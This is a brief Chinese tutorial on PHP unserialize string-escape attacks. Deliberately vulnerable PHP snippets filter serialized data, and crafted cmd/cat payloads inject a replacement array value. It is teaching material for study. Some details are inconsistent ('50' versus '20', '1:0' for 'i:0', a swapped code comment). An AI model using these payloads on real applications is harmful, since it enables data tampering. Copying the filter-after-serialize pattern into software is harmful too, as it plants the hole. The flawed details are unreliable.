发生场景:
一般这类漏洞,都是在序列化之后,过滤,然后反序列化引起的。
作用:
假如我们想让数组里的某个变量为我们特定的值,但这个变量却被系统强制赋值,这时便可使用字符串逃逸。
两种情况的利用方法:
1、过滤后字符数增加:
要求:一个及以上可控变量
思想:字符串变长后,正好把变长的那部分吞进去为第一个变量,把我们要修改的值排出来并作为第二个变量
例子:
<?php
function lemon($string)
{
$lemon = '/p/i';
return preg_replace($lemon,'qq',$string);//若匹配到p则换为qq
}
$cmd=$_GET["cmd"];
$a="20"; //显然cmd的值我们可以自定义,但a的值为系统固定的
if(!empty($cmd))
{
$s=array($cmd,$a);
$examp=lemon(serialize($s));
var_dump(unserialize($examp));
}
?>
这里a默认为20,但我们可以在可控变量 cmd 里面构造想要的a变量序列化后的值和序列化的闭合 (目的是为了把系统默认的a给闭合在外面)
我们可以构造 cmd 为:
pppppppppppppppp";i:1;s:2:"18";}
逃逸过程:
过滤前序列化结果:
a:2:{i:0;s:32:"pppppppppppppppp";i:1;s:2:"18";}";i:1;s:2:"50";} //双引号内为我们要观察的值
过滤后:
a:2:{i:0;s:32:"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";i:1;s:2:"18";}";i:1;s:2:"20";} //变为了32个q
反序列化执行的值:
a:2:{i:0;s:32:"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";i:1;s:2:"18";}//由于反序列化时识别到第一个字符长度为32,所以会自动往后取完q,故系统默认的a会被排除在外
2、过滤后字符数减少:
要求:两个及以上可控变量
思想:第一个变量被变空后,往后取第二个变量的值,取到我们想改变的那个固定变量后为止
<?php
function lemon($string)
{
$lemon = '/p/i';
return preg_replace($lemon,'',$string);//若匹配到p则换为空
}
$cat=$_GET["cat"];
$cmd=$_GET["cmd"];
$a="20"; //显然a的值我们可以自定义,但cmd的值为系统固定的
if(!empty($cmd)&&!empty($cat))
{
$s=array($cat,$cmd,$a);
$examp=lemon(serialize($s));
var_dump(unserialize($examp));
}
?>
这里我们同样把系统默认a的值从20改为 18
令cat为:
ppppppppppp
第一个变量长度要求:p的个数=2+序列化后的第二个变量从头到第一个;号的长度
令cmd为:
;i:1;s:3:"dog";i:2;s:2:"18";}
由于过滤后第三个变量被闭合在外,但需要3个变量,所以我需要自拟一个dog变量,凑够3个
过滤前序列化结果:
a:3:{1:0;s:11:"ppppppppppp";i:1;s:29:";i:1;s:3:"dog";i:2;s:2:"18";}";i:2;s:2:"20";} 双引号内为我们要观察的值
过滤后:
a:3:{1:0;s:11:"";i:1;s:29:"||吞到这;i:1;s:3:"dog";i:2;s:2:"18";}";i:2;s:2:"20";}p变为空后,仅剩:;两个字符,向后吞9个,正好到要修改的值,由于第二个变量消失了,但需要3个变量,所以我需要自拟一个dog变量,凑够3个
反序列化执行的值:
a:3:{1:0;s:11:"【";i:1;s:29:】";i:1;s:3:"dog";i:2;s:2:"18";} 【】便于理解,可忽略
666